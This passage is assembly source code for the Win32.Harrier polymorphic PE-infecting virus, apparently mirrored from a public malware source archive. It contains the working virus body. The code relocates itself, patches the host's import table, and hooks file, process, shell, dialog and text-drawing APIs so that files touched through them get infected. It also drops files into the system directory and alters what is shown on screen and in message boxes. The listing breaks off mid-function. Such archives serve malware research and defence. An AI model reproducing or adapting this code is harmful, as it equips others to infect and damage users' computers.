mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
3751 lines
79 KiB
NASM
3751 lines
79 KiB
NASM
; Win32.Harrier
|
|
; title HDL - The pretty PE Polymorphic virus.
|
|
; page 52,130
|
|
;
|
|
; *==================================================================*
|
|
; ! (c) 08-Sep-1997y by TechnoRat "95-th Harrier from DarkLand" !
|
|
; *==================================================================*
|
|
;
|
|
; Start coding: 27-Jul-1997y Ver 2.00a
|
|
; Still coding: 04-Sep-1997y Ver 2.01a
|
|
; Stop coding: 08-Sep-1997y Ver 2.01a
|
|
; Bug fixing: 10-Sep-1997y Ver 2.01b
|
|
; Upgrading: 14-Sep-1997y Ver 2.01b
|
|
; Bug fixing: 17-Sep-1997y Ver 2.01!
|
|
;
|
|
;
|
|
; Win32 Virus. (c)*TR*SOFT 27-Jul-1997y
|
|
;
|
|
; Compatible: MS Windows 95 (v4.0+);
|
|
; Structure: many levels polymorphic style;
|
|
; Infector: written as Win32 console application;
|
|
; Infect: all files by type NewExe (PE);
|
|
; Check: attributes, date & time, IO errors, synchronization;
|
|
; Devil: text strings on screen, message boxes, help,
|
|
; Control Panel (System applet);
|
|
; Lock: -=- nothing -=-
|
|
; Code: pretty fucking style;
|
|
;
|
|
.386 ; Party goes to begin. . .
|
|
.Model Flat,StdCall
|
|
%NoMacs
|
|
Include ..HarrInc.Inc
|
|
|
|
; ---------------------------------------------------------
|
|
; Data section must be present. Data size must be non-zero.
|
|
.Data
|
|
Dumbo Db 'For fucking TASM32+TLINK32 programs!',0
|
|
|
|
; ---------------------------------------------------------
|
|
.Code
|
|
Public StubEntryLabel ; Some definitions
|
|
Public StubImportPlace ; placed specially
|
|
Public ImagePlace ; for PELinker
|
|
Public CurrentPlace
|
|
Public FixUpsPlace
|
|
Public FixUpsCounter
|
|
Public ImportPlace
|
|
Public ImportLength
|
|
Public BufferPlace
|
|
|
|
; ---------------------------------------------------------
|
|
MaxPathLen = 260
|
|
|
|
; ---------------------------------------------------------
|
|
Cr Equ <0Dh,0Ah> ; Service macroses
|
|
Ver Equ <'v2.01 '>
|
|
Release Equ <'Release (0) from 17-Sep-1997y '>
|
|
BasedOn Equ <'based on [AsmSwap engine v1.3]'>
|
|
|
|
; ---------------------------------------------------------
|
|
; Stack memory addressing macroses
|
|
MemCommitSz = 38000h ; Stack memory size
|
|
TinyMemCommitSz = 2000h ; WARNING! depends on
|
|
; total program size.
|
|
|
|
_VarAddr = 0 ; Base of indexing
|
|
Var Macro VarName,VarType
|
|
&VarName CatStr <[>,%_VarAddr,<][EBp]> ; Defining the new
|
|
If Type VarType Eq 0 ; variable reference
|
|
_VarAddr = _VarAddr+VarType
|
|
Else
|
|
_VarAddr = _VarAddr+Type VarType
|
|
EndIf
|
|
EndM Var
|
|
|
|
; ---------------------------------------------------------
|
|
; Binary include support
|
|
BFile Macro ILabel,IFileName,IFileSize
|
|
&ILabel Label Byte
|
|
_BFileStart = $
|
|
Irpc Char,IFileName
|
|
Db '&Char'
|
|
EndM
|
|
Db (IFileSize-($-_BFileStart)) Dup(90h)
|
|
EndM BFile
|
|
|
|
; ---------------------------------------------------------
|
|
DebugModeKey = 0h ; defining the Debug
|
|
Irpc Char,<CREATOR=TechnoRat> ; Mode switcher key
|
|
DebugModeKey = ((DebugModeKey Xor '&Char')-1) Shl 1
|
|
EndM
|
|
|
|
; ---------------------------------------------------------
|
|
_Jmp Macro Addr ; Macroses that supports
|
|
Jmp Addr ; AsmSwap scrambling
|
|
EndM _Jmp
|
|
|
|
_Nop Macro Addr
|
|
EndM _Nop
|
|
|
|
; ---------------------------------------------------------
|
|
; Here the start of running code.
|
|
Start: ; Here can be placed
|
|
; the polymorphic decryptor,
|
|
; And will be placed!
|
|
; But later.
|
|
;StartCode
|
|
;Separator=_Jmp
|
|
; ---------------------------------------------------------
|
|
;Here the real virus body.
|
|
|
|
BodyHere: PushA
|
|
Cld ; Need after decrypting!
|
|
FirstCm: Call SecondCm
|
|
Xor EAx,EAx ; Some trash
|
|
Ret ; will never work!!!
|
|
|
|
SecondCm: Xor EAx,EAx ; Some another trash
|
|
Pop EBx ; Real body. . .
|
|
Sub EBx,(Offset FirstCm - Offset Start + 5)
|
|
Xor EAx,EAx ; Wait on semaphore
|
|
WaitInit: Xchg EAx,[EBx][Offset InitOk - Offset Start]
|
|
Or EAx,EAx
|
|
Jz WaitInit
|
|
Cmp EAx,2h ; Ok, All done.
|
|
Je DoneInit
|
|
;DefCodeLine
|
|
Db 0BEh
|
|
FixUpsPlace Dd ? ; Mov ESi,xxxx
|
|
;BreakCodeLine
|
|
;DefCodeLine
|
|
Db 0B9h
|
|
FixUpsCounter Dd ? ; Mov ECx,xxxx
|
|
;BreakCodeLine
|
|
Again: Mov EDi,[EBx+ESi]
|
|
Add [EBx+EDi],EBx ; SetUp ReloItems
|
|
Add ESi,4h
|
|
Dec ECx
|
|
Jnz Again
|
|
Mov Here,EBx
|
|
|
|
Mov EAx,StubEntryLabel ; Calculate the
|
|
Add EAx,EBx ; Host entry point
|
|
Sub EAx,CurrentPlace ; and place it for future
|
|
Sub EAx,PolyMorphSz
|
|
Mov HostIP,EAx
|
|
Sub EBx,CurrentPlace
|
|
Sub EBx,PolyMorphSz
|
|
Mov MemBase,EBx
|
|
|
|
Mov Debug,0h ; Checking for debug
|
|
Call GetEnvironmentStringsA ; mode presence. . .
|
|
New_Key: Xor EBx,EBx
|
|
New_Char: Cmp Byte Ptr [EAx],0h ; Calculate hash from
|
|
Je Check_Key ; Env. string
|
|
Xor Bl,[EAx]
|
|
Dec EBx
|
|
Shl EBx,1
|
|
Inc EAx
|
|
Jmp New_Char
|
|
Check_Key: Cmp EBx,DebugModeKey ; Debug key detected?
|
|
Jne New_String
|
|
Or Debug,-1 ; Yes!
|
|
Push 0h ; (??? Not used)
|
|
Call MessageBeep
|
|
Push 40h ; OkOnly+Information
|
|
Push Offset InfSelfHeader
|
|
Push Offset InfEnterDebug
|
|
Push 0h
|
|
Call MessageBoxA
|
|
Jmp Break_Keys
|
|
New_String: Inc EAx ; No, next string
|
|
Cmp Byte Ptr [EAx],0h
|
|
Jne New_Key
|
|
Break_Keys:
|
|
Mov EAx,Offset KernelName ; SetUp import entries
|
|
Mov EDx,Offset KrnlImp ; on Kernel32 And Shell32
|
|
Mov ECx,KrnlImpCnt ; And ComDlg32 DLLs
|
|
Call SetUpImport
|
|
Mov EAx,Offset ShellName
|
|
Mov EDx,Offset ShellImp
|
|
Mov ECx,ShellImpCnt
|
|
Call SetUpImport
|
|
Mov EAx,Offset DialogName
|
|
Mov EDx,Offset DialogImp
|
|
Mov ECx,DialogImpCnt
|
|
Call SetUpImport
|
|
Mov EAx,Offset UserName ; and User32 and GDI32 DLLs
|
|
Mov EDx,Offset UserImp
|
|
Mov ECx,UserImpCnt
|
|
Call SetUpImport
|
|
Mov EAx,Offset GDIName
|
|
Mov EDx,Offset GDIImp
|
|
Mov ECx,GDIImpCnt
|
|
Call SetUpImport
|
|
Mov HelpCounter,0h
|
|
Mov wsRet$,0h ; Critical section end.
|
|
|
|
DoneInit: Mov InitOk,2h ; No Writes in RAM here!!!
|
|
; Here can be implemented some initialization features.
|
|
; for Example: infecting the Export in SHELL32.dll or
|
|
; in COMDLG32.dll; or infecting the Explorer.Exe or . . .
|
|
|
|
Push MemCommitSz/4h
|
|
Call AllocStackMem
|
|
Lea EAx,FT_Struc
|
|
Push EAx
|
|
Call GetSystemTime ; Get "Random" value
|
|
Cmp Word Ptr FT_Second,10h
|
|
Jne Go_Away
|
|
Push 1000h ; OkOnly+SystemModal
|
|
Push Offset InfSelfHeader
|
|
Push Offset HelloMsg
|
|
Push 0h
|
|
Call MessageBoxA ; Fuck the society ;-)
|
|
|
|
Go_Away: Lea EAx,PackedTime ; Initialize random generator
|
|
Push EAx ; Can be performed at
|
|
Lea EAx,FT_Struc ; any time, it is legal!!!
|
|
Push EAx
|
|
Call SystemTimeToFileTime
|
|
Mov EAx,PackedTime
|
|
Or EAx,1h
|
|
Mov RandSeed,EAx
|
|
|
|
Mov EAx,10h ; by 1/16 probability
|
|
Call Random
|
|
Or EAx,EAx
|
|
Jnz NoInstallOEM
|
|
|
|
Push MaxPathLen
|
|
Lea EAx,SomePath ; Some nice install ;-)
|
|
Push EAx ; (about the OEM)
|
|
Call GetSystemDirectoryA
|
|
Push EAx
|
|
Lea EAx,SomePath
|
|
Add EAx,[ESp]
|
|
Mov EDi,EAx ; The pretty LOGO file
|
|
Mov ESi,Offset BitMapName
|
|
Cld
|
|
Mov ECx,BitMapNameL
|
|
Rep MovsB
|
|
|
|
Push 0h
|
|
Push 10000000h+80h ; FAN, FFRA
|
|
Push 2h ; CA
|
|
Push 0h
|
|
Push 1h
|
|
Push 80000000h+40000000h ; GR/GW
|
|
Lea EAx,SomePath
|
|
Push EAx
|
|
Call CreateFileA
|
|
Cmp EAx,-1h ; Create error!
|
|
Je Fail_OEM
|
|
Push EAx
|
|
Push 0h
|
|
Lea ECx,ProcessedBytes
|
|
Push ECx
|
|
Push HarrBtMpFile_Sz
|
|
Push Offset BitMapFile
|
|
Push EAx
|
|
Call WriteFile
|
|
Call CloseHandle
|
|
|
|
Lea EAx,SomePath
|
|
Add EAx,[ESp]
|
|
Mov EDi,EAx ; The pretty INFO file
|
|
Mov ESi,Offset InfoName
|
|
Mov ECx,InfoNameL
|
|
Rep MovsB
|
|
|
|
Push 0h
|
|
Push 10000000h+80h ; FAN, FFRA
|
|
Push 2h ; CA
|
|
Push 0h
|
|
Push 1h
|
|
Push 80000000h+40000000h ; GR/GW
|
|
Lea EAx,SomePath
|
|
Push EAx
|
|
Call CreateFileA
|
|
Cmp EAx,-1h ; Create error!
|
|
Je Fail_OEM
|
|
Push EAx
|
|
Push 0h
|
|
Lea ECx,ProcessedBytes
|
|
Push ECx
|
|
Push HarrInfoFile_Sz
|
|
Push Offset InfoFile
|
|
Push EAx
|
|
Call WriteFile
|
|
Call CloseHandle
|
|
|
|
Fail_OEM: Pop EAx
|
|
|
|
NoInstallOEM: Push MemCommitSz/4h
|
|
Call FreeStackMem
|
|
PopA
|
|
Jmp HostIP ; All Done.
|
|
|
|
; ---------------------------------------------------------
|
|
SetUpImport: Mov EBx,StubImportPlace ; SetUp HostImport
|
|
Add EBx,Here
|
|
Set_3$: Cmp DWord Ptr [EBx][3*4],0h ; (EDx/ECx, EAx)
|
|
Je Set_0$ ; Corrupt all. . .
|
|
Mov ESi,[EBx][3*4] ; Scan stub modules
|
|
Add ESi,MemBase
|
|
Mov EDi,EAx
|
|
Cld
|
|
Set_2$: Call CmpUnCase ; Compare two module chars
|
|
Jne Set_1$
|
|
Cmp Byte Ptr [EDi][-1],0h
|
|
Jne Set_2$ ; Names compared Ok.
|
|
Call Set_Mdl$ ; SetUp current module.
|
|
Set_1$: Add EBx,5*4 ; Next module. . .
|
|
Jmp Set_3$
|
|
Set_0$: Ret ; Last module, All done.
|
|
|
|
Set_Mdl$: Push EAx
|
|
Mov ESi,[EBx] ; (Current Module in EBx)
|
|
Or ESi,ESi ; LookUp present?
|
|
Jz Set_Mdl_1$
|
|
Add ESi,MemBase
|
|
Xor EAx,EAx
|
|
Set_Mdl_0$: Cmp DWord Ptr [ESi],0h ; Last LookUp?
|
|
Je Set_Mdl_1$
|
|
Test DWord Ptr [ESi],80000000h
|
|
Jne Set_Mdl_2$ ; Ordinal?
|
|
Push ESi
|
|
Mov ESi,[ESi] ; Get Name in module
|
|
Add ESi,MemBase
|
|
Add ESi,2h
|
|
Push EDx
|
|
Push ECx
|
|
Set_Mdl_M0$: Push ESi
|
|
Mov EDi,[EDx][1*4] ; Get self Name to SetUp
|
|
Set_Mdl_M2$: Call CmpUnCase
|
|
Jne Set_Mdl_M1$
|
|
Cmp Byte Ptr [EDi][-1],0h
|
|
Jne Set_Mdl_M2$ ; Ok, SetUp this entry
|
|
Mov EDi,[EBx][4*4] ; Ptr to AddrTable
|
|
Add EDi,MemBase
|
|
Mov ESi,[EDi][EAx] ; ImportValue
|
|
Push EDi
|
|
Mov EDi,[EDx] ; SetUp _Var
|
|
Mov [EDi],ESi
|
|
Pop EDi
|
|
Mov ESi,[EDx][2*4] ; SetUp ImportValue
|
|
Mov [EDi][EAx],ESi ; by IProc
|
|
Pop ESi
|
|
Jmp Set_Mdl_M3$
|
|
Set_Mdl_M1$: Pop ESi
|
|
Add EDx,3*4 ; Next name in list
|
|
Dec ECx
|
|
Jnz Set_Mdl_M0$
|
|
Set_Mdl_M3$: Pop ECx
|
|
Pop EDx
|
|
Pop ESi
|
|
Set_Mdl_2$: Add ESi,4 ; Next name in module
|
|
Add EAx,4
|
|
Jmp Set_Mdl_0$
|
|
Set_Mdl_1$: Pop EAx
|
|
Ret
|
|
|
|
CmpUnCase: Push EAx ; CmpsB (with UnCase check)
|
|
LodsB
|
|
Call UpCase
|
|
Mov Ah,Al
|
|
Xchg ESi,EDi
|
|
LodsB
|
|
Call UpCase
|
|
Xchg ESi,EDi
|
|
Cmp Ah,Al
|
|
Pop EAx
|
|
Ret
|
|
|
|
UpCase: Cmp Al,'a' ; UpCase the Al register
|
|
Jb UpCase_0$
|
|
Cmp Al,'z'
|
|
Ja UpCase_0$
|
|
Sub Al,20h
|
|
UpCase_0$: Ret
|
|
|
|
; ---------------------------------------------------------
|
|
; KERNEL32 infected functions realization.
|
|
ICreateFileA: Push EBp ; CreateFileA
|
|
Mov EBp,ESp ; opens or creates
|
|
PushA ; the file or other
|
|
Mov EDx,[EBp][8] ; resource (pipe, device, etc)
|
|
Mov EBx,Offset NCreateFileA
|
|
Call InfectByName
|
|
PopA
|
|
Pop EBp
|
|
Jmp _CreateFileA
|
|
|
|
IOpenFile: Push EBp ; OpenFile
|
|
Mov EBp,ESp ; opens or creates
|
|
PushA ; the file
|
|
Mov EDx,[EBp][8] ; [Obsolete]
|
|
Mov EBx,Offset NOpenFile
|
|
Call InfectByName
|
|
PopA
|
|
Pop EBp
|
|
Jmp _OpenFile
|
|
|
|
IMoveFileA: Push EBp ; MoveFileA
|
|
Mov EBp,ESp ; moves or renames
|
|
PushA ; the file
|
|
Mov EDx,[EBp][8]
|
|
Mov EBx,Offset NMoveFileA
|
|
Call InfectByName
|
|
PopA
|
|
Pop EBp
|
|
Jmp _MoveFileA
|
|
|
|
IMoveFileExA: Push EBp ; MoveFileExA
|
|
Mov EBp,ESp ; moves or renames
|
|
PushA ; the file
|
|
Mov EDx,[EBp][8] ; [Not supported by '95]
|
|
Mov EBx,Offset NMoveFileExA
|
|
Call InfectByName
|
|
PopA
|
|
Pop EBp
|
|
Jmp _MoveFileExA
|
|
|
|
ICopyFileA: Push EBp ; CopyFileA
|
|
Mov EBp,ESp ; copyes
|
|
PushA ; the file
|
|
Mov EDx,[EBp][8]
|
|
Mov EBx,Offset NCopyFileA
|
|
Call InfectByName
|
|
PopA
|
|
Pop EBp
|
|
Jmp _CopyFileA
|
|
|
|
I_lopen: Push EBp ; _lopen
|
|
Mov EBp,ESp ; opens
|
|
PushA ; the file
|
|
Mov EDx,[EBp][8] ; [Obsolete]
|
|
Mov EBx,Offset N_lopen
|
|
Call InfectByName
|
|
PopA
|
|
Pop EBp
|
|
Jmp __lopen
|
|
|
|
IWinExec: Push EBp ; WinExec
|
|
Mov EBp,ESp ; spawns
|
|
PushA ; the file
|
|
Mov EDx,[EBp][8] ; [Obsolete]
|
|
Mov EBx,Offset NWinExec
|
|
Call InfectByName
|
|
PopA
|
|
Pop EBp
|
|
Jmp _WinExec
|
|
|
|
ICreateProcessA:
|
|
Push EBp ; CreateProcessA
|
|
Mov EBp,ESp ; spawns
|
|
PushA ; the file
|
|
Mov EDx,[EBp][8]
|
|
Mov EBx,Offset NCreateProcessA
|
|
Call InfectByName
|
|
PopA
|
|
Pop EBp
|
|
Jmp _CreateProcessA
|
|
|
|
ILoadLibraryA: Push EBp ; LoadLibraryA
|
|
Mov EBp,ESp ; loads the
|
|
PushA ; library file
|
|
Mov EDx,[EBp][8]
|
|
Mov EBx,Offset NLoadLibraryA
|
|
Call InfectByName
|
|
PopA
|
|
Pop EBp
|
|
Jmp _LoadLibraryA
|
|
|
|
ILoadLibraryExA:
|
|
Push EBp ; LoadLibraryExA
|
|
Mov EBp,ESp ; loads the
|
|
PushA ; library file
|
|
Mov EDx,[EBp][8]
|
|
Mov EBx,Offset NLoadLibraryExA
|
|
Call InfectByName
|
|
PopA
|
|
Pop EBp
|
|
Jmp _LoadLibraryExA
|
|
|
|
IFindFirstFileA:
|
|
Push DWord Ptr [ESp][8]
|
|
Push DWord Ptr [ESp][8]
|
|
Call _FindFirstFileA
|
|
Cmp EAx,-1
|
|
Je FindFirst_1$
|
|
Push EBp ; FindFirstFileA
|
|
Mov EBp,ESp ; searches the
|
|
PushA ; first file
|
|
Mov EDx,[EBp][0Ch]
|
|
Add EDx,0Bh*4
|
|
Mov EBx,Offset NFindFirstFileA
|
|
Call InfectByName
|
|
PopA
|
|
Pop EBp
|
|
FindFirst_1$: Ret 8h
|
|
|
|
IFindNextFileA:
|
|
Push DWord Ptr [ESp][8]
|
|
Push DWord Ptr [ESp][8]
|
|
Call _FindNextFileA
|
|
Or EAx,EAx
|
|
Je FindNext_1$
|
|
Push EBp ; FindNextFileA
|
|
Mov EBp,ESp ; searches the
|
|
PushA ; next file
|
|
Mov EDx,[EBp][0Ch]
|
|
Add EDx,0Bh*4
|
|
Mov EBx,Offset NFindNextFileA
|
|
Call InfectByName
|
|
PopA
|
|
Pop EBp
|
|
FindNext_1$: Ret 8h
|
|
|
|
; ---------------------------------------------------------
|
|
; SHELL32 infected functions realization.
|
|
IShellExecuteA: Push EBp ; ShellExecuteA
|
|
Mov EBp,ESp ; opens or prints
|
|
PushA ; the specified file
|
|
Mov EDx,[EBp][10h] ; via registry
|
|
Mov EBx,Offset NShellExecuteA
|
|
Call InfectByName
|
|
PopA
|
|
Pop EBp
|
|
Jmp _ShellExecuteA
|
|
|
|
IShellExecuteEx:
|
|
Push EBp ; ShellExecuteEx
|
|
Mov EBp,ESp ; ???
|
|
PushA ;
|
|
Mov EDx,[EBp][10h] ; [UnDocumented]
|
|
Mov EBx,Offset NShellExecuteEx
|
|
Call InfectByName
|
|
PopA
|
|
Pop EBp
|
|
Jmp _ShellExecuteEx
|
|
|
|
IShellExecuteExA:
|
|
Push EBp ; ShellExecuteExA
|
|
Mov EBp,ESp ; ???
|
|
PushA ;
|
|
Mov EDx,[EBp][10h] ; [UnDocumented]
|
|
Mov EBx,Offset NShellExecuteExA
|
|
Call InfectByName
|
|
PopA
|
|
Pop EBp
|
|
Jmp _ShellExecuteExA
|
|
|
|
IFindExecutableA:
|
|
Push EBp ; FindExecutableA
|
|
Mov EBp,ESp ; searches the
|
|
PushA ; DDE server
|
|
Mov EDx,[EBp][8] ; via registry
|
|
Mov EBx,Offset NFindExecutableA
|
|
Call InfectByName ; or DDE requests
|
|
PopA
|
|
Pop EBp
|
|
Jmp _FindExecutableA
|
|
|
|
; ---------------------------------------------------------
|
|
; COMDLG32 infected functions realization.
|
|
IGetOpenFileNameA:
|
|
Push DWord Ptr [ESp][4] ; GetOpenFileNameA
|
|
Call _GetOpenFileNameA ; returns the name
|
|
Push EBp ; of opening file
|
|
Mov EBp,ESp
|
|
PushA
|
|
Mov EDx,[EBp][8]
|
|
Mov EDx,[EDx][7*4]
|
|
Mov EBx,Offset NGetOpenFileNameA
|
|
Call InfectByName
|
|
PopA
|
|
Pop EBp
|
|
Ret 4h
|
|
|
|
IGetSaveFileNameA:
|
|
Push DWord Ptr [ESp][4] ; GetSaveFileNameA
|
|
Call _GetSaveFileNameA ; returns the name
|
|
Push EBp ; of saving file
|
|
Mov EBp,ESp
|
|
PushA
|
|
Mov EDx,[EBp][8]
|
|
Mov EDx,[EDx][7*4]
|
|
Mov EBx,Offset NGetSaveFileNameA
|
|
Call InfectByName
|
|
PopA
|
|
Pop EBp
|
|
Ret 4h
|
|
|
|
; ---------------------------------------------------------
|
|
; USER32 infected functions realization
|
|
IDrawTextA: Push EBx ; Draw text on screen
|
|
Mov EBx,ESp
|
|
Push EAx
|
|
PushA
|
|
Push TinyMemCommitSz/4h
|
|
Call AllocStackMem
|
|
Push DWord Ptr [EBx][5*4+4]
|
|
Push DWord Ptr [EBx][4*4+4]
|
|
Mov ECx,[EBx][3*4+4]
|
|
Mov EDx,[EBx][2*4+4]
|
|
Call ConvertStr
|
|
Push ECx
|
|
Push EDx
|
|
Push DWord Ptr [EBx][1*4+4]
|
|
Call _DrawTextA
|
|
Mov [EBx][-4h],EAx
|
|
Push TinyMemCommitSz/4h
|
|
Call FreeStackMem
|
|
PopA
|
|
Pop EAx
|
|
Pop EBx
|
|
Ret 5*4
|
|
|
|
IDrawTextExA: Push EBx ; Draw text on screen
|
|
Mov EBx,ESp
|
|
Push EAx
|
|
PushA
|
|
Push TinyMemCommitSz/4h
|
|
Call AllocStackMem
|
|
Push DWord Ptr [EBx][6*4+4]
|
|
Push DWord Ptr [EBx][5*4+4]
|
|
Push DWord Ptr [EBx][4*4+4]
|
|
Mov ECx,[EBx][3*4+4]
|
|
Mov EDx,[EBx][2*4+4]
|
|
Call ConvertStr
|
|
Push ECx
|
|
Push EDx
|
|
Push DWord Ptr [EBx][1*4+4]
|
|
Call _DrawTextExA
|
|
Mov [EBx][-4h],EAx
|
|
Push TinyMemCommitSz/4h
|
|
Call FreeStackMem
|
|
PopA
|
|
Pop EAx
|
|
Pop EBx
|
|
Ret 6*4
|
|
|
|
ITabbedTextOutA:
|
|
Push EBx ; Draw text on screen
|
|
Mov EBx,ESp
|
|
Push EAx
|
|
PushA
|
|
Push TinyMemCommitSz/4h
|
|
Call AllocStackMem
|
|
Push DWord Ptr [EBx][8*4+4]
|
|
Push DWord Ptr [EBx][7*4+4]
|
|
Push DWord Ptr [EBx][6*4+4]
|
|
Mov ECx,[EBx][5*4+4]
|
|
Mov EDx,[EBx][4*4+4]
|
|
Call ConvertStr
|
|
Push ECx
|
|
Push EDx
|
|
Push DWord Ptr [EBx][3*4+4]
|
|
Push DWord Ptr [EBx][2*4+4]
|
|
Push DWord Ptr [EBx][1*4+4]
|
|
Call _TabbedTextOutA
|
|
Mov [EBx][-4h],EAx
|
|
Push TinyMemCommitSz/4h
|
|
Call FreeStackMem
|
|
PopA
|
|
Pop EAx
|
|
Pop EBx
|
|
Ret 8*4
|
|
|
|
IwsprintfA: Cmp wsRet$,0h ; Check semaphore!
|
|
Je wsprintf_1$
|
|
Jmp _wsprintfA
|
|
|
|
wsprintf_1$: Pop wsRet$
|
|
Push Offset wsprint_0$
|
|
Jmp _wsprintfA ; Format text string
|
|
wsprint_0$: Push wsRet$
|
|
Push EBx
|
|
Mov EBx,ESp
|
|
Push EAx
|
|
PushA
|
|
Push TinyMemCommitSz/4h
|
|
Call AllocStackMem
|
|
Mov EDx,[EBx][1*4+4]
|
|
Mov ECx,[EBx][-4]
|
|
Call ConvertStr
|
|
Mov [EBx][-4],ECx
|
|
Mov ESi,EDx
|
|
Mov EDi,[EBx][1*4+4]
|
|
Cld
|
|
Call Transfer_Str
|
|
Push TinyMemCommitSz/4h
|
|
Call FreeStackMem
|
|
PopA
|
|
Pop EAx
|
|
Pop EBx
|
|
Mov wsRet$,0h
|
|
Ret
|
|
wsRet$ Dd 0h
|
|
|
|
IwvsprintfA: Push EBx ; Format text string
|
|
Mov EBx,ESp
|
|
Push EAx
|
|
PushA
|
|
Push TinyMemCommitSz/4h
|
|
Call AllocStackMem
|
|
Push DWord Ptr [EBx][3*4+4]
|
|
Push DWord Ptr [EBx][2*4+4]
|
|
Push DWord Ptr [EBx][1*4+4]
|
|
Call _wvsprintfA
|
|
Mov EDx,[EBx][1*4+4]
|
|
Mov ECx,EAx
|
|
Call ConvertStr
|
|
Mov [EBx][-4],ECx
|
|
Mov EDi,[EBx][1*4+4]
|
|
Mov ESi,EDx
|
|
Cld
|
|
Call Transfer_Str
|
|
Push TinyMemCommitSz/4h
|
|
Call FreeStackMem
|
|
PopA
|
|
Pop EAx ; function result
|
|
Pop EBx
|
|
Ret 3*4
|
|
|
|
IGetTabbedTextExtentA:
|
|
Push EBx ; Get text parameters
|
|
Mov EBx,ESp
|
|
Push EAx
|
|
PushA
|
|
Push TinyMemCommitSz/4h
|
|
Call AllocStackMem
|
|
Push DWord Ptr [EBx][5*4+4]
|
|
Push DWord Ptr [EBx][4*4+4]
|
|
Mov ECx,[EBx][3*4+4]
|
|
Mov EDx,[EBx][2*4+4]
|
|
Call ConvertStr
|
|
Push ECx
|
|
Push EDx
|
|
Push DWord Ptr [EBx][1*4+4]
|
|
Call _GetTabbedTextExtentA
|
|
Mov [EBx][-4h],EAx
|
|
Push TinyMemCommitSz/4h
|
|
Call FreeStackMem
|
|
PopA
|
|
Pop EAx
|
|
Pop EBx
|
|
Ret 5*4
|
|
|
|
IMessageBoxA: Push EBx ; Shows the some message
|
|
Mov EBx,ESp
|
|
Push EAx
|
|
PushA
|
|
Push MemCommitSz/4h
|
|
Call AllocStackMem
|
|
Lea EAx,FT_Struc
|
|
Push EAx
|
|
Call GetSystemTime ; Get "Random" value
|
|
Cmp Word Ptr FT_Second,10h
|
|
Jae Message_None$
|
|
MovZx EAx,Word Ptr FT_Milliseconds
|
|
Shr EAx,1
|
|
Xor EDx,EDx
|
|
Mov ECx,FuckMsgCounter
|
|
Div ECx
|
|
Shl EDx,1
|
|
Shl EDx,1
|
|
Add EDx,Offset FuckMessages
|
|
Mov EDx,[EDx]
|
|
Push DWord Ptr [EBx][4*4+4]
|
|
Push DWord Ptr [EBx][3*4+4]
|
|
Push EDx
|
|
Push DWord Ptr [EBx][1*4+4]
|
|
Call MessageBoxA
|
|
Mov [EBx][-4h],EAx
|
|
Push MemCommitSz/4h
|
|
Call FreeStackMem
|
|
PopA
|
|
Pop EAx
|
|
Pop EBx
|
|
Ret 4*4
|
|
|
|
Message_None$: Push MemCommitSz/4h ; Legal call
|
|
Call FreeStackMem
|
|
PopA
|
|
Pop EAx
|
|
Pop EBx
|
|
Jmp _MessageBoxA
|
|
|
|
IWinHelpA: PushA ; Calls the Windows
|
|
Cmp HelpCounter,10h ; help system
|
|
Jb WinHlp_0$
|
|
Push 40h ; OkOnly+Information
|
|
Push Offset InfSelfHeader
|
|
Push Offset InfGodHelp
|
|
Push 0h
|
|
Call MessageBoxA
|
|
PopA
|
|
Xor EAx,EAx
|
|
Ret 4*4
|
|
|
|
WinHlp_0$: Inc HelpCounter ; Legal call
|
|
PopA
|
|
Jmp _WinHelpA
|
|
|
|
; ---------------------------------------------------------
|
|
; GDI32 infected functions realization
|
|
ITextOutA: Push EBx ; Draw text on screen
|
|
Mov EBx,ESp
|
|
Push EAx
|
|
PushA
|
|
Push TinyMemCommitSz/4h
|
|
Call AllocStackMem
|
|
Mov ECx,[EBx][5*4+4]
|
|
Mov EDx,[EBx][4*4+4]
|
|
Call ConvertStr
|
|
Push ECx
|
|
Push EDx
|
|
Push DWord Ptr [EBx][3*4+4]
|
|
Push DWord Ptr [EBx][2*4+4]
|
|
Push DWord Ptr [EBx][1*4+4]
|
|
Call _TextOutA
|
|
Mov [EBx][-4h],EAx
|
|
Push TinyMemCommitSz/4h
|
|
Call FreeStackMem
|
|
PopA
|
|
Pop EAx
|
|
Pop EBx
|
|
Ret 5*4
|
|
|
|
IExtTextOutA: Push EBx ; Draw text on screen
|
|
Mov EBx,ESp
|
|
Push EAx
|
|
PushA
|
|
Push TinyMemCommitSz/4h
|
|
Call AllocStackMem
|
|
Push DWord Ptr [EBx][8*4+4]
|
|
Mov ECx,[EBx][7*4+4]
|
|
Mov EDx,[EBx][6*4+4]
|
|
Call ConvertStr
|
|
Push ECx
|
|
Push EDx
|
|
Push DWord Ptr [EBx][5*4+4]
|
|
Push DWord Ptr [EBx][4*4+4]
|
|
Push DWord Ptr [EBx][3*4+4]
|
|
Push DWord Ptr [EBx][2*4+4]
|
|
Push DWord Ptr [EBx][1*4+4]
|
|
Call _ExtTextOutA
|
|
Mov [EBx][-4h],EAx
|
|
Push TinyMemCommitSz/4h
|
|
Call FreeStackMem
|
|
PopA
|
|
Pop EAx
|
|
Pop EBx
|
|
Ret 8*4
|
|
|
|
IGetTextExtentPointA:
|
|
Push EBx ; Get text parameters
|
|
Mov EBx,ESp
|
|
Push EAx
|
|
PushA
|
|
Push TinyMemCommitSz/4h
|
|
Call AllocStackMem
|
|
Push DWord Ptr [EBx][4*4+4]
|
|
Mov ECx,[EBx][3*4+4]
|
|
Mov EDx,[EBx][2*4+4]
|
|
Call ConvertStr
|
|
Push ECx
|
|
Push EDx
|
|
Push DWord Ptr [EBx][1*4+4]
|
|
Call _GetTextExtentPointA
|
|
Mov [EBx][-4h],EAx
|
|
Push TinyMemCommitSz/4h
|
|
Call FreeStackMem
|
|
PopA
|
|
Pop EAx
|
|
Pop EBx
|
|
Ret 4*4
|
|
|
|
IGetTextExtentPoint32A:
|
|
Push EBx ; Get text parameters
|
|
Mov EBx,ESp
|
|
Push EAx
|
|
PushA
|
|
Push TinyMemCommitSz/4h
|
|
Call AllocStackMem
|
|
Push DWord Ptr [EBx][4*4+4]
|
|
Mov ECx,[EBx][3*4+4]
|
|
Mov EDx,[EBx][2*4+4]
|
|
Call ConvertStr
|
|
Push ECx
|
|
Push EDx
|
|
Push DWord Ptr [EBx][1*4+4]
|
|
Call _GetTextExtentPoint32A
|
|
Mov [EBx][-4h],EAx
|
|
Push TinyMemCommitSz/4h
|
|
Call FreeStackMem
|
|
PopA
|
|
Pop EAx
|
|
Pop EBx
|
|
Ret 4*4
|
|
|
|
IGetTextExtentExPointA:
|
|
Push EBx ; Get text parameters
|
|
Mov EBx,ESp
